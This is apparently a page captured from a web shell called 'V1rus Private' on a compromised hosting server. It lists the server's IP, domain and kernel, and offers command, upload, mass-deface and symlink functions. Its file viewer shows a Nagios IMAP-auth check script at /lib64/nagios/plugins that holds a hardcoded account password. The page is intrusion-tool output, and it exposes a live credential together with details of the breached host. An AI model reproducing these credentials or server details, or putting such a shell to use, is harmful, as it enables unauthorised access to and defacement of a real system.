V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_a2_imap_auth
#!/bin/bash # Nagios plugin to check Dovecot authentication via IMAP # Usage: ./check_dovecot_auth.sh <hostname> HOST=$(hostname) DEFAULT_USER="authcheck@www${HOST}" PASSWORD='~\4T]Fn~{3a~lj!"!??dEPXY' PORT=993 TIMEOUT=5 # Resolve hostname variations if [[ "$HOST" =~ ^a2sd|^a2ssr|^a2ls|^a2d ]]; then HOST=${HOST/#a2/www} elif [[ "$HOST" =~ ^supercp ]]; then HOST="www$HOST" elif [[ "$HOST" =~ ^thss ]]; then HOST=${HOST/#thss/wwwthss} elif [[ "$HOST" =~ ^th ]]; then HOST=${HOST/#ths/wwwth} elif [[ "$HOST" =~ ^mi3|^az1 ]]; then HOST="www$HOST" else HOST=${HOST/#a2s/www} fi # Encode credentials for AUTH PLAIN (Base64) AUTH_STRING=$(printf "\0%s\0%s" "$DEFAULT_USER" "$PASSWORD" | base64 -w 0) # IMAP authentication command using AUTH PLAIN IMAP_COMMAND="A AUTHENTICATE PLAIN $AUTH_STRING" LOGOUT_COMMAND="B LOGOUT" # Connect to Dovecot IMAP and attempt authentication RESPONSE=$(echo -e "$IMAP_COMMAND\n$LOGOUT_COMMAND" | \ openssl s_client -quiet -connect "$HOST:$PORT" -crlf -ign_eof 2>/dev/null | \ grep -E "^A OK") if [[ -n "$RESPONSE" ]]; then echo "OK: IMAP Authentication is working" exit 0 else echo "CRITICAL: IMAP Authentication is not working on $HOST" exit 2 fi
Coded With 💗 by
HanzOFC